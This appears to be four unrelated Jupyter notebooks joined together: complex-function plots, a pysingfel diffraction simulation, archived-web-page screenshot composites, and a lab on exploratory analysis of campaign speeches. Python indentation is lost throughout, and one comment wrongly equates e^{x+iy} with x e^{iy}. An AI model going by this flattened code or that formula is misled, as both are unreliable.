# How interesting! This is because $f$ maps $x + iy$ to $e^{x + iy} = xe^{iy}$. Thus $y$ in the input equals $\theta$ in the output. If we hold $y$ constant we also hold the output angle constant.
plot_complex(np.exp, xbounds=(-8,8),ybounds=(-8,8))
# Here is a plot of $f(z) = \tan(z)$. This function has zeros along the real axis at $z = n\pi$ and poles along the real axis at $z = \frac{\pi}{2} + n\pi$. All are of order 1.
plot_complex(np.tan, xbounds=(-8,8), ybounds=(-8,8))
# In the plot of this function, we see 1 pole at the origin of order 2, 2 more poles of order 1, and 2 zeros of order 2.
f4 = lambda z: (16*z**4 + 32*z**3 + 32*z**2 + 16*z + 4)/(16*z**4 - 16*z**3 + 5*z**2)
plot_complex(f4, res = 500)
# ##Problem 6
# We use complex plots to determine the multiplicity of zeros in the following polynomials.
# $−4z^5 +2z^4 −2z^3 −4z^2 +4z−4$
#
# 5 of order 1
poly1 = lambda z: -4*z**5 +2*z**4 -2*z**3 -4*z**2 +4*z -4
plot_complex(poly1,xbounds=(-2,2),ybounds=(-2,2))
# $z^7 +6z^6 −131z^5 −419z^4 +4906z^3 −131z^2 −420z+4900$
#
# 2 of order 2, 3 of order 1
poly2 = lambda z:z**7 +6*z**6 -131*z**5 -419*z**4 +4906*z**3 -131*z**2 -420*z+4900
plot_complex(poly2,xbounds=(-12,10),ybounds=(-3,3),res=801)
# ##Problem 7
# In the example below we plot the function $f(z) = \sin(\frac{1}{100z})$. What looks like a pole of order 1 at the origin before we zoom in, is actually an essential singularity surrounded by zeros.
f5 = lambda z:np.sin(1/(100*z))
plot_complex(f5,res=400,title="Zoomed out")
plot_complex(f5,xbounds=(-.01,.01),ybounds=(-.01,.01),res=400,title="Zoomed in")
# In the second example, the two zeros of $f(z) = z + 1000z^2$ appear to be a single zero of order 2 at the origin until we zoom in. The actual zeros occur at $z = 0$ and $z = -0.001$.
f6 = lambda z:z + 1000*z**2
plot_complex(f6,title="Zoomed out")
narrow_bounds = (-.006,.006)
plot_complex(f6,xbounds=narrow_bounds,ybounds=narrow_bounds,title="Zoomed in")
# ##Problem 8
# Here we plot the positive and negative complex square root.
plot_complex(np.sqrt)
plot_complex(lambda z:-np.sqrt(z))
| Vol1B/Complex1-Plots/solutions_notebook.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python [conda env:pysingfel2]
# language: python
# name: conda-env-pysingfel2-py
# ---
import sys
ROOT_DIR = "./"
if ROOT_DIR not in sys.path:
sys.path.append(ROOT_DIR)
# +
import os
import numpy as np
import scipy as sp
import matplotlib.pyplot as plt
import h5py as h5
import time
import datetime
from matplotlib.colors import LogNorm
from sklearn.metrics.pairwise import euclidean_distances
from tqdm import tqdm
import pysingfel as ps
import pysingfel.gpu as pg
# -
def show_ds(experiment, dataset):
N = dataset.shape[0]
plt.figure(figsize=(20, 20/N+1))
for i in range(N):
ax = plt.subplot(1, N, i+1)
img = experiment.det.assemble_image_stack(dataset[i])
cax = plt.imshow(img, norm=LogNorm())
plt.colorbar(cax)
plt.show()
beam = ps.Beam(photon_energy=6000, fluence=1.58e12, focus_radius=1.13e-7)
particle = ps.Particle()
particle.read_pdb(ROOT_DIR+'/2NIP.pdb', ff='WK')
natoms = particle.get_num_atoms()
print ('Number of atoms =',natoms)
# +
fig, ax = plt.subplots(1,2,figsize=(15,5))
ax[0].plot(particle.atom_pos[:,0]*1e10,particle.atom_pos[:,1]*1e10,'.');
# Auto ajust axis
ax[0].set_aspect('equal', 'box')
ax[0].set_xlabel('x-axis (Angstrom)')
ax[0].set_ylabel('y-axis (Angstrom)')
ax[0].set_title('x-y')
ax[1].plot(particle.atom_pos[:,1]*1e10,particle.atom_pos[:,2]*1e10,'.');
ax[1].set_aspect('equal','box')
ax[1].set_xlim(ax[0].get_xlim())
ax[1].set_ylim(ax[0].get_ylim())
ax[1].set_xlabel('y-axis (Angstrom)')
ax[1].set_ylabel('z-axis (Angstrom)')
ax[1].set_title('y-z')
plt.show()
# -
# # Simple Square Detector
det = ps.SimpleSquareDetector(N_pixel=200, det_size=0.2, det_distance=0.5)
N_images = 5
experiment = ps.SPIExperiment(det, beam, particle)
intensities = np.zeros((N_images,) + det.shape, np.float32)
photons = np.zeros((N_images,) + det.shape, np.int32)
for i in tqdm(range(N_images)):
photons[i], intensities[i] = experiment.generate_image_stack(return_photons=True, return_intensities=True)
show_ds(experiment, intensities)
show_ds(experiment, photons)
for ph in intensities:
print ('Nphotons =',np.sum(ph))
for ph in photons:
print ('Nphotons =',np.sum(ph))
| models/pysingfel2/01_Benchmark_Single_Detector.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Using screenshots to visualise change in a page over time
#
# **TIMEMAPS VERSION**
#
# 
#
# <p class="alert alert-info">New to Jupyter notebooks? Try <a href="getting-started/Using_Jupyter_notebooks.ipynb"><b>Using Jupyter notebooks</b></a> for a quick introduction.</p>
#
# This notebook helps you visualise changes in a web page by generating full page screenshots for each year from the captures available in an archive. You can then combine the individual screenshots into a single composite image.
#
# See [TimeMap Visualization](http://tmvis.ws-dl.cs.odu.edu/) from the Web Science and Digital Libraries Research Group at Old Dominion University for another way of using web archive thumbnails to explore change over time.
# Creating all the screenshots can be quite slow, and sometimes the captures themselves are incomplete, so I've divided the work into a number of stages:
#
# 1. Create the individual screenshots
# 2. Review the screenshot results and generate more screenshots if needed
# 3. Create the composite image
#
# More details are below.
#
# If you want to create an individual screenshot, or compare a series of selected screenshots, see the [Get full page screenshots from archived web pages](save_screenshot.ipynb) notebook.
# ## Import what we need
# +
import requests
import pandas as pd
from selenium import webdriver
import selenium
import PIL
from PIL import Image, ImageDraw, ImageFont
import io
import base64
import time
import re
import json
import math
from slugify import slugify
from webdriverdownloader import GeckoDriverDownloader
from pathlib import Path
from urllib.parse import urlparse
gdd = GeckoDriverDownloader()
geckodriver = gdd.download_and_install("v0.26.0")[1]
# See https://github.com/ouseful-template-repos/binder-selenium-demoscraper
# -
# ## Define some functions
# +
TIMEGATES = {
'nla': 'https://web.archive.org.au/awa/',
'nlnz': 'https://ndhadeliver.natlib.govt.nz/webarchive/wayback/',
'bl': 'https://www.webarchive.org.uk/wayback/archive/',
'ia': 'https://web.archive.org/web/',
'is': 'http://wayback.vefsafn.is/wayback/'
}
wayback = ['ndhadeliver.natlib.govt.nz', 'web.archive.org', 'wayback.vefsafn.is']
pywb = {'web.archive.org.au': 'replayFrame', 'webarchive.nla.gov.au': 'replayFrame', 'webarchive.org.uk': 'replay_iframe'}
html_output = []
def convert_lists_to_dicts(results):
'''
Converts IA style timemap (a JSON array of arrays) to a list of dictionaries.
Renames keys to standardise IA with other Timemaps.
'''
if results:
keys = results[0]
results_as_dicts = [dict(zip(keys, v)) for v in results[1:]]
else:
results_as_dicts = results
# Rename keys
for d in results_as_dicts:
d['status'] = d.pop('statuscode')
d['mime'] = d.pop('mimetype')
d['url'] = d.pop('original')
return results_as_dicts
def get_capture_data_from_memento(url, request_type='head'):
'''
For OpenWayback systems this can get some extra cpature info to insert in Timemaps.
'''
if request_type == 'head':
response = requests.head(url)
else:
response = requests.get(url)
headers = response.headers
length = headers.get('x-archive-orig-content-length')
status = headers.get('x-archive-orig-status')
status = status.split(' ')[0] if status else None
mime = headers.get('x-archive-orig-content-type')
mime = mime.split(';')[0] if mime else None
return {'length': length, 'status': status, 'mime': mime}
def convert_link_to_json(results, enrich_data=False):
'''
Converts link formatted Timemap to JSON.
'''
data = []
for line in results.splitlines():
parts = line.split('; ')
if len(parts) > 1:
link_type = re.search(r'rel="(original|self|timegate|first memento|last memento|memento)"', parts[1]).group(1)
if link_type == 'memento':
link = parts[0].strip('<>')
timestamp, original = re.search(r'/(\d{14})/(.*)$', link).groups()
capture = {'timestamp': timestamp, 'url': original}
if enrich_data:
capture.update(get_capture_data_from_memento(link))
data.append(capture)
return data
def get_timemap_as_json(timegate, url):
'''
Get a Timemap then normalise results (if necessary) to return a list of dicts.
'''
tg_url = f'{TIMEGATES[timegate]}timemap/json/{url}/'
print(tg_url)
response = requests.get(tg_url)
response_type = response.headers['content-type'].split(';')[0]
# pywb style Timemap
if response_type == 'text/x-ndjson':
data = [json.loads(line) for line in response.text.splitlines()]
# IA Wayback stype Timemap
elif response_type == 'application/json':
data = convert_lists_to_dicts(response.json())
# Link style Timemap (OpenWayback)
elif response_type in ['application/link-format', 'text/html']:
data = convert_link_to_json(response.text)
return data
def get_full_page_screenshot(url, save_width=200):
'''
Gets a full page screenshot of the supplied url.
By default resizes the screenshot to a maximum width of 200px.
Provide a 'save_width' value to change this.
NOTE the webdriver sometimes fails for unknown reasons. Just try again.
'''
global html_output
domain = urlparse(url)[1].replace('www.', '')
# NZ and IA inject content into the page, so we use if_ to get the original page (with rewritten urls)
if domain in wayback and 'if_' not in url:
url = re.sub(r'/(\d{14})/http', r'/\1if_/http', url)
print(url)
date_str, site = re.search(r'/(\d{14})(?:if_|mp_)*/https*://(.+/)', url).groups()
ss_dir = Path('screenshots', slugify(site))
ss_dir.mkdir(parents=True, exist_ok=True)
ss_file = Path(ss_dir, f'{slugify(site)}-{date_str}-{save_width}.png')
if not ss_file.exists():
options = webdriver.FirefoxOptions()
options.headless = True
driver = webdriver.Firefox(executable_path=geckodriver, options=options)
driver.implicitly_wait(15)
driver.get(url)
# Give some time for everything to load
time.sleep(30)
driver.maximize_window()
current_width = driver.get_window_size()['width']
# UK and AU use pywb in framed replay mode, so we need to switch to the framed content
if domain in pywb:
try:
driver.switch_to.frame(pywb[domain])
except selenium.common.exceptions.NoSuchFrameException:
# If we pass here we'll probably still get a ss, just not full page -- better than failing?
pass
ss = None
for tag in ['body', 'html', 'frameset']:
try:
elem = driver.find_element_by_tag_name(tag)
ss = elem.screenshot_as_base64
break
except (selenium.common.exceptions.NoSuchElementException, selenium.common.exceptions.WebDriverException):
pass
driver.quit()
if not ss:
# show_error(f'Couldn\'t get a screenshot of {url} – sorry...')
print(f'Couldn\'t get a screenshot of {url} – sorry...')
else:
img = Image.open(io.BytesIO(base64.b64decode(ss)))
ratio = save_width / img.width
(width, height) = (save_width, math.ceil(img.height * ratio))
resized_img = img.resize((width, height), PIL.Image.LANCZOS)
resized_img.save(ss_file)
return ss_file
else:
return ss_file
def get_screenshots(timegate, url, num=1):
'''
Generate up to the specified number of screenshots for each year.
Queries Timemap for snapshots of the given url from the specified repository,
then gets the first 'num' timestamps for each year.
'''
data = get_timemap_as_json(timegate, url)
df = pd.DataFrame(data)
# Convert the timestamp string into a datetime object
df['date'] = pd.to_datetime(df['timestamp'])
# Sort by date
df.sort_values(by=['date'], inplace=True)
# Only keep the first instance of each digest if it exists
# OpenWayback systems won't return digests
try:
df.drop_duplicates(subset=['digest'], inplace=True)
except KeyError:
pass
# Extract year from date
df['year'] = df['date'].dt.year
# Get the first 'num' instances from each year
# (you only need one, but if there are failures, you might want a backup)
df_years = df.groupby('year', as_index=False).head(num)
timestamps = df_years['timestamp'].to_list()
for timestamp in timestamps:
capture_url = f'{TIMEGATES[timegate]}{timestamp}/{url}'
capture_url = f'{capture_url}/' if not capture_url.endswith('/') else capture_url
print(f'Generating screenshot for: {capture_url}...')
get_full_page_screenshot(capture_url)
def make_composite(url):
'''
Combine single screenshots into a composite image.
Loops through images in a directory with the given (slugified) domain.
'''
max_height = 0
url_path = re.sub(r'^https*://', '', url)
pngs = sorted(Path('screenshots', slugify(url_path)).glob('*.png'))
for png in pngs:
img = Image.open(png)
if img.height > max_height:
max_height = img.height
height = max_height + 110
width = (len(pngs) * 200) + (len(pngs) * 10) + 10
comp = Image.new('RGB', (width, height), (90,90,90))
# Canvas to write in the dates
draw = ImageDraw.Draw(comp)
# Change this to suit your system
# font = ImageFont.truetype("/Library/Fonts/Microsoft/Gill Sans MT Bold.ttf", 36)
# Something like this should work on Binder?
font = ImageFont.truetype("/usr/share/fonts/truetype/liberation/LiberationSansNarrow-Regular.ttf", 36)
draw.text((10, height - 50), url, (255,255,255), font=font)
for i, png in enumerate(pngs):
year = re.search(r'-(\d{4})\d{10}.*?\.png', png.name).group(1)
draw.text(((i * 210) + 10, 10), year, (255,255,255), font=font)
img = Image.open(png)
comp.paste(img, ((i * 210) + 10, 50))
comp.save(Path('screenshots', f'{slugify(url_path)}.png'))
# -
# ## Create screenshots
#
# Edit the cell below to change the `timegate` and `url` values as desired. Timegate values can be one of:
#
# * `bl` – UK Web Archive
# * `nla` – National Library of Australia
# * `nlnz` – National Library of New Zealand
# * `ia` – Internet Archive
# * `is` – Icelandic Web Archive
#
# The `num` parameter is the maximum number of screenshots to create for each year. Of course you only need one screenshot per year for the composite image, but getting two is allows you to select the best capture before generating the composite.
#
# Screenshots will be saved in a sub-directory of the [screenshots](screenshots) directory. The name of the sub-directory will a slugified version of the url. Screenshots are named with the `url`, `timestamp` and width (which is set at 200 in this notebook). Existing screenshots will not be overwritten, so if the process fails you can easily pick up where it left off by just running the cell again.
# Edit timegate and url values
# TRY #1
# get_screenshots(timegate='ia', url='https://coronavirus.jhu.edu/', num=1000)
# TRY #2
# get_screenshots(timegate='ia', url='https://coronavirus.jhu.edu/data/new-cases-50-states', num=1)
# TRY #3
get_screenshots(timegate='ia', url='https://www.nlm.nih.gov/', num=1)
# ## Review Screenshots
#
# Have a look at the results in the [screenshots](screenshots) directory. If you've created more than one per year, choose the best one and delete the others. If you're not satisfied with a particular capture, you can browse the web interface of the archive until you find the capture you're after. Then just copy the url of the capture (it should have a timestamp in it) and feed it directly to the `get_full_page_screenshot()` function as indicated in the cell below. Once you're happy with your collection of screenshots, move on to the next step.
# +
# Use this to add individual captures to fill gaps, or improve screenshots
# Just paste in a url from the archive's web interface
# OPTIONAL get_full_page_screenshot('http://wayback.vefsafn.is/wayback/20200107111708/https://www.government.is/')
# TRY #2
# get_full_page_screenshot('https://web.archive.org/web/20200530080723/https://coronavirus.jhu.edu/data/new-cases-50-states/', save_width=1200)
# get_full_page_screenshot('https://web.archive.org/web/20200613154650/https://coronavirus.jhu.edu/data/new-cases-50-states/', save_width=1200)
# get_full_page_screenshot('https://web.archive.org/web/20200627224514/https://coronavirus.jhu.edu/data/new-cases-50-states/', save_width=1200)
# get_full_page_screenshot('https://web.archive.org/web/20200711204459/https://coronavirus.jhu.edu/data/new-cases-50-states/', save_width=1200)
# get_full_page_screenshot('https://web.archive.org/web/20200725072550/https://coronavirus.jhu.edu/data/new-cases-50-states/', save_width=1200)
# get_full_page_screenshot('https://web.archive.org/web/20200801224932/https://coronavirus.jhu.edu/data/new-cases-50-states/', save_width=1200)
# TRY #3
# get_full_page_screenshot('https://web.archive.org/web/20190401120425/https://www.nlm.nih.gov/') # ERROR
# get_full_page_screenshot('https://web.archive.org/web/20190501083035/https://www.nlm.nih.gov/') # OK
# get_full_page_screenshot('https://web.archive.org/web/20190601120242/https://www.nlm.nih.gov/') # OK
# get_full_page_screenshot('https://web.archive.org/web/20190701102433/https://www.nlm.nih.gov/') # OK
# -
# ## Create composite
#
# Edit the cell below to include the url that you've generated the screenshots from. The script will grap all of the screenshots in the corrresponding directory and build the composite image. The composite will be saved in the `screenshots` directory using a slugified version of the url as a name.
#
# If you're running this on your own machine, you'll probably need to edit the function to set the font location where indicated.
# Edit url as required
# make_composite('https://coronavirus.jhu.edu/')
# TRY #2
# make_composite('https://coronavirus.jhu.edu/data/new-cases-50-states')
# TRY #3
make_composite('https://www.nlm.nih.gov/')
# ----
# Created by [<NAME>](https://timsherratt.org) for the [GLAM Workbench](https://glam-workbench.github.io).
#
# Work on this notebook was supported by the [IIPC Discretionary Funding Programme 2019-2020](http://netpreserve.org/projects/)
| screenshots_over_time_using_timemaps.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # [LEGALST-123] Lab 20: Exploratory Data Analysis
# ---
# <img src="https://upload.wikimedia.org/wikipedia/commons/b/ba/Data_visualization_process_v1.png" style="width: 500px; height: 400px;" />
#
#
# This lab covers the Tukey approach to exploratory data analysis, bringing together key concepts and skills from earlier in the course like data visualization and the train-test-validate split. We will also introduce dimensionality reduction in the form of Principal Components Analysis.
#
# *Estimated Time: 45 minutes*
#
# ---
#
# ### Table of Contents
#
#
# 1 - [Intro to Exploratory Data Analysis](#section 1)<br>
#
# 2 - [EDA and Visualization](#section 2)<br>
#
# 3 - [Dimensionality Reduction](#section 3)<br>
#
#
#
#
# **Dependencies:**
# +
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
# %matplotlib inline
# !pip install nltk
import nltk
from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
import seaborn as sns
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.decomposition import TruncatedSVD
# !pip install plotly
import plotly.offline as py
py.init_notebook_mode(connected=True)
import plotly.graph_objs as go
import plotly.figure_factory as ff
# -
# ---
# ## 1. Introduction to Exploratory Data Analysis <a id='section 1'></a>
# > "It is important to understand what you CAN DO before you learn to measure how WELL you seem to have done it." -<NAME>, *Exploratory Data Analysis*
#
# Previous labs and many introductory data analysis classes like Data-8 focus on **Confirmatory Data Analysis (CDA)**: the use of statistical methods to see whether the data supports a given hypothesis or model. But, where does the hypothesis come from in the first place?
#
# **Exploratory Data Analysis (EDA)** is the process of 'looking at data to see what it seems to say'. Through this process, we hope to accomplish several things:
# - learn about the overall 'shape' of the data: structure, organization, ranges of values
# - assess what assumptions we can make about the data as a basis for later statistical inference
# - figure out the appropriate tools and techniques for analysis
# - tentatively create testable, appropriate hypotheses or models
#
# EDA is complementary to CDA- in fact, CDA is often only possible after having done EDA. This is clear when compared to the methods of natural sciences: a scientist's research starts with making observations about the world, which leads to questions about what they see. Only after observing and wondering can we begin to systematically test our hypotheses. Similarly, every data analysis project you do should begin with EDA.
#
# Today, we'll go through the EDA process for speech transcripts from [2016 US Presidential campaigns](http://www.presidency.ucsb.edu/2016_election.php). You'll use many coding skills from previous labs. And because EDA is an exploratory process, there are many ways to approach the code (we'll give some tips and guidance).
# load the data
campaign = pd.read_csv("data/campaign_2016.csv", index_col=0)
campaign.head()
# A handy way to get basic summary statistics about your data is using the `.describe()` method on your table. Other useful methods are:
# - `.unique()` to look at a column's unique values
# - `.value_counts()` to see how often a column's values occur.
# - `.isnull()` to screen for null values
#
# From these few methods, we can immediately see things that will affect future analysis options.
#
# +
# use pandas methods to broadly examine the scope and values of the data
...
# -
# **QUESTION**:
# Name at least two issues seen using `describe`, `unique`, `value_counts`, and `isnull`. Why would each issue affect future analysis?
# Hint for analyzing `describe`: Which statistics would we expect to be the same for all columns, and are they actually the same? Which column would we expect 'count' to be different from 'unique', and are they?
# **ANSWER:**
#
# As you can see, there are a handful of null values in the 'Text' column. Null values can mess up calculations and need to be dealt with by filling them with a dummy value or deleting the row. Because the null values are for text, and because we're most interested in the text content, we'll drop the offending rows. How you deal with null values will vary on a project-by-project basis.
#
# drop the null-valued rows with dropna
...
# ### Feature extraction
# Many of numpy and pandas' summary and aggregation methods are built for numerical data, not text. To better understand our data, we use **feature extraction** to create features from transformations of the input features. Some useful features for text would be:
# - the number of characters per text
# - the number of words per text
# - the number of sentences per text
# - the average length of words per text
# - the average length of sentences per text
#
# Since we're not focusing on data cleaning today (remember the 3/1 lab?), we've provided the code to add columns with lowercase text, word tokens, and sentence tokens that you might find useful. You may also want to revisit the pandas [str methods](https://pandas.pydata.org/pandas-docs/stable/text.html#method-summary).
#
# Note: During EDA, it is always best practice to clearly document what transformations you did, and to add transformed data in new columns rather than transforming the data in place. This will save you a lot of trouble if you need to refer to the original data in the future!
# +
# columns with lowercase, word tokens, sentence tokens
campaign['lower_text'] = campaign['Text'].str.lower()
campaign['words'] = campaign['lower_text'].apply(nltk.word_tokenize)
campaign['sentences'] = campaign['lower_text'].apply(nltk.sent_tokenize)
campaign.head()
# -
# extract features from the text data
campaign['char_count'] = ...
campaign['word_count'] = ...
campaign['sentence_count'] = ...
campaign['avg_word_length'] = ...
campaign['avg_sentence_length'] = ...
# The 'Date' column currently stores dates as strings, which we can't easily compare on a graph. Fortunately, pandas has a **datetime** object that can be easily ordered. Add a column containing string dates that have been transformed into datetime objects. [There's a function](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.to_datetime.html) that might be helpful here...
# convert the 'Date' column to type datetime
campaign['datetime'] = ...
campaign.head()
# We also might be interested in seeing how candidates use particular words. Using a for loop, create a new column for each topic word containing the number of times the word is used in each text.
#
# Hint: take a look at pandas str methods
# +
# create list of possible topics
topics = ['nuclear', 'peace', ' war',
'north korea', 'russia', 'terror', 'fake news', 'email',
' poverty', ' human rights', ' abortion', ' refugee', ' immigration',
'equality', ' democracy', ' freedom', 'vote', 'energy', 'oil', 'coal', ' income',
'economy', 'growth', 'inflation', 'climate change', 'security',
'cyber', 'trade', 'inequality', 'pollution', 'global warming',
'education', 'health', 'infrastructure', 'regulation', 'nutrition', 'transportation',
'violence', 'agriculture', 'crime', 'drugs', 'obesity',
'islam', 'housing', 'sustainable']
for i in topics:
campaign[i] = ...
# -
# Now that we have numerical data, try using `describe()` again. What's changed now that there's numerical data? What else can you say about this data set?
...
# ## 2. EDA and Visualization <a id='section 2'></a>
# > "The greatest value of a picture is when it *forces* us to notice what we never expected to see." - <NAME>, *Exploratory Data Analysis*
#
# Our data set contains almost 7500 records, which is difficult for our brains to parse as a whole. And, this would be considered a fairly small data set by most data science standards. Visualizations are an important tool for summarizing and understanding a data set.
#
# In EDA, we're often interested in a few characteristics:
# - where the data is centered (the mean or median)
# - how much the data varies from the mean (the spread/variance/standard deviation)
# - outliers (the min and max)
#
# The **box plot** is a useful way to visualize all of these things.
# <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d1/Elements_of_a_boxplot_en.svg/640px-Elements_of_a_boxplot_en.svg.png" />
# The rectangular box of the plot holds 50% of the data points. The bottom of the box represents the point that is higher in value than 25% of the data (the lower quartile), and the top of the box represents the point that is higher than 75% of the data (the upper quartile). The whiskers extend on each side to the lowest data point that is within 1.5 times the length of the box (the inter-quartile range, or IQR). All points farther out are graphed as circles (the outliers).
#
# We can make box plots with `plt.boxplot`:
# make a box plot of the word counts
plt.boxplot(campaign['word_count'])
plt.ylabel('number words')
plt.title('Word Counts');
# That's an awfully scrunched-up box plot! We can see that over half of our texts contain less than a thousand words, but many texts contain several times that.
#
# It may be helpful to sort out the different types of texts. Create a dataframe that only has type 'speech', and another dataframe that only has type 'statement'. Then, make a box plot for each. Compare the box plots for word counts to those for word length, sentence length, or character count.
# +
# filter out everything except speeches
speeches = ...
# make a box plot
...
# +
# filter out everything but statements
statements = ...
# make a box plot
...
# -
# __QUESTION__: what can you conclude about the text data from these box plots?
# **ANSWER**:
# Box plots pack a lot of information, but the plots can get muddy if many data points overlap. A **Violin plot** is similar to a box plot, but it also shows the distribution of the data at different values (you can think of it like a smoothed histogram).
#
# Look at the word counts, word lengths, and other features using `plt.violinplot`.
# make a violin plot
...
# make another violin plot
...
# **QUESTION**: What can you see with the violin plot that you couldn't with the box plot?
# **SOLUTION**:
# Unexpected or interesting information may also be found by looking at multiple features together, or by looking at subgroups.
#
# If you need a refresher on grouping in pandas:
#
# 1. select the features you need using `.loc[<rows>, <columns>]`. The rows and columns can be a single label, a list of labels, or a range (e.g. `'word_count':` would give you all columns to the right of and including `word_count`).
# 2. call `.groupby` with the label of the feature you want to group by
# 3. call the function you want to use to aggregate the values in each group (e.g. `sum()`, `min()`, `max()`, `mean()`...)
#
# For example, here's a bar plot of the average word count in each candidate's speeches using groupby:
#
# +
by_candidate = (speeches.loc[:, ['Candidate', 'inequality', 'russia', 'nuclear']] # select all rows, only the columns needed
.groupby('Candidate') # make groups of word counts for each candidate
.mean()) # take the average of each group of candidate's word counts
by_candidate.plot.bar(figsize=(12, 5)); # make a bar plot; figsize embiggens it
# -
# In the cells below, try creating:
# - a line plot showing the average number of times the word 'email' was used on each date (use groupby on the `datetime` column, not `Date`)
# - histograms showing the distribution of `word_length` for Democrats and Republicans
# - a scatter plot plotting the length of words against the length of sentences for speeches and statements
#
# Refer to the [pyplot](https://matplotlib.org/tutorials/introductory/pyplot.html#sphx-glr-tutorials-introductory-pyplot-py) and [pandas dataframe plot](https://pandas.pydata.org/pandas-docs/stable/api.html#api-dataframe-plotting) docs as needed. Feel free to experiment with other groups or features!
...
...
...
# **QUESTION**: What kinds of interesting/suspicious patterns or outliers did you see?
# Given what you now know about the data set, what kinds of hypotheses could we test on the data?
# **ANSWER**:
# ## 3. Principal Components Analysis <a id='section 3'></a>
# We've seen that with text analysis, feature matrices get very large, very fast (remember the tf-idf matrix?). To help us work with high-dimensional data, we can use **Principal Component Analysis (PCA)**.
#
# The goal of PCA is to look for patterns in the data (i.e. correlations between variables). If two variables are strongly correlated, including just one of them in the model might represent the data about as good as if we had them both. PCA looks for variables that account for as much of the variance in the data as possible. This makes it great for **dimensionality reduction**: getting rid of features (dimensions) that don't explain much of the variance in the data so we can more easily manipulate, visualize, and understand the data.
#
# Note: the details of PCA are hard to follow without some knowledge of linear algebra. If you're interested, check out a more in-depth example [here](https://plot.ly/ipython-notebooks/principal-component-analysis/).
#
# Let's explore reducing the dimensions for our text data. We'll start by using the features we extracted. First, create a table `X` that only has the columns with the extracted numerical features (no string or datetime values) and an array `y` that has the names of the candidates (this will help us visualize our data).
# +
# select only the columns with int or float values
X = campaign.iloc[:, 9:].drop('datetime', axis=1)
# select the column with the candidate names
y = campaign['Candidate']
# -
# Next, we want to standardize X so that all the features have the same scale (i.e. have an average value of 0 and a standard deviation of 1). Do this by creating a `StandardScaler()`, then run its `fit_transform` method on `X`. You should recognize the syntax from other scikit-learn models.
# +
# scale the data
X_std = ...
# look at the covariance matrix
np.cov(X_std.T)
# -
# Finally, initialize a `PCA` object (set `n_components=2` so we can graph it in two dimensions) and use its `fit_transform` method on your standardized X to get `Y_pca`: the top n (in this case 2) principal components that explain variance in the data.
# +
# initialize PCA
...
# fit the standardized data
Y_pca = ...
# -
# We can see how much variance is being explained by these components by using `.explained_variance_ratio`. This gives the proportions of the total variance in documents that are explained by each component in descending order.
# get the explained variance ratios
pca.explained_variance_ratio_
# **QUESTION**: if our PCA was fit using ALL possible components (that is, n_components was set to the original number of features in the data set), what should the explained variance ratios add up to?
# **ANSWER**: The ratios should add up to 1: including all the features means that all the variance can be explained.
#
# To tell the candidates apart on our scatter plot, we'll assign each a different color: blues for Democrats, and reds for Republicans. Run the next cell to create the custom palette.
# +
# separate candidates by party and pair each candidate with a shade of their party color
dems = zip(campaign[campaign.Party=='D'].Candidate.unique(), sns.color_palette('Blues', 5).as_hex())
gops = zip(campaign[campaign.Party=='R'].Candidate.unique(), sns.color_palette('Reds', 16).as_hex())
# collect the candidate-color pairs in a dictionary
candidate_colors = {}
for dem, color in dems:
candidate_colors[dem] = color
for gop, color in gops:
candidate_colors[gop] = color
# create the ordered color palette
colors = candidate_colors.values()
# show the candidates and palette
print(candidate_colors.keys())
sns.palplot(colors)
# -
# Finally, plot the data by running the cell below.
#
# +
# create a dataframe with the principal components and the classes
components = pd.DataFrame({'component 1': Y_pca[:, 0],
'component 2': Y_pca[:, 1],
'Candidate': y})
colors = candidate_colors.values()
# plot
sns.lmplot(x = 'component 1', y = 'component 2', data = components, hue='Candidate', legend=True, fit_reg=False,
hue_order=candidate_colors.keys(),palette=colors, scatter_kws={'s':5}, height=7);
# -
# Using PCA on our derived features (e.g. word counts), we can see some separation between different people. However most of the data points are clustered in the same area, and there's a lot of overlap. Would we see something different if we had done dimensionality reduction on a different numerical representation of the data?
#
# Let's revisit the tf-idf. As we saw Tuesday, a tf-idf is very high-dimensional, giving information about the frequency of a term in a document and across all documents for every possible term in every document. We can do dimensionality reduction on a tf-idf matrix, too, using **Latent Semantic Analysis (LSA)**.
#
# Like PCA, LSA uses linear algebra to reduce dimensionality while still representing the variation between documents. The code is very similar too, except in this case we don't have to standardize the feature data. First, create a `TfidfVectorizer()` and fit the data in the 'clean_text' column of `campaign` to it to create the sparse tf-idf matrix.
#
#
# +
# initialize TfidfVectorizer
...
# Fit vectorizer
X = ...
# -
# Next, do the LSA by created a `TruncatedSVD` object (set `n_components=2`) and fit the sparse tf-idf matrix to it using `fit_transform` (see [documentation](http://scikit-learn.org/stable/modules/generated/sklearn.decomposition.TruncatedSVD.html)). You should get a matrix with two values for every text document.
# +
# initialize TruncatedSVD
...
# fit model
Y_lsa = ...
# -
# Check the explained variance ratio in the cell below. The ratios are very different from those found in PCA above. Why? (Hint: think about what kind and how many features were originally in the data given to the PCA model versus the LSA model)
# get the explained variance ratios
...
# Now, run the next cell to plot the transformed data.
# put components in a data frame
lsa_components = pd.DataFrame({'component1': Y_lsa[:, 0],
'component2': Y_lsa[:, 1],
'Type': y})
# plot
sns.lmplot(x = 'component1', y = 'component2', data = lsa_components, hue='Type', legend=True, fit_reg=False,
hue_order=['press release', 'speech', 'statement'], palette=colors, scatter_kws={'s':5}, height=7);
# And, take a look at the exact same data, but with the document type marked in colors rather than the candidates.
# put components in a data frame
lsa_components = pd.DataFrame({'component1': Y_lsa[:, 0],
'component2': Y_lsa[:, 1],
'Type': campaign.Type})
# plot
sns.lmplot(x = 'component1', y = 'component2', data = lsa_components, hue='Type', legend=True, fit_reg=False,
scatter_kws={'s':8}, height=12);
# **QUESTION**: How does this plot compare to the one using PCA and extracted numerical features? What does it tell you about the variance of the data? Keep in mind that in this case, the data was fed into LSA as a 'bag of words' for every document- there was no input that explicitly gave the document's type or candidate.
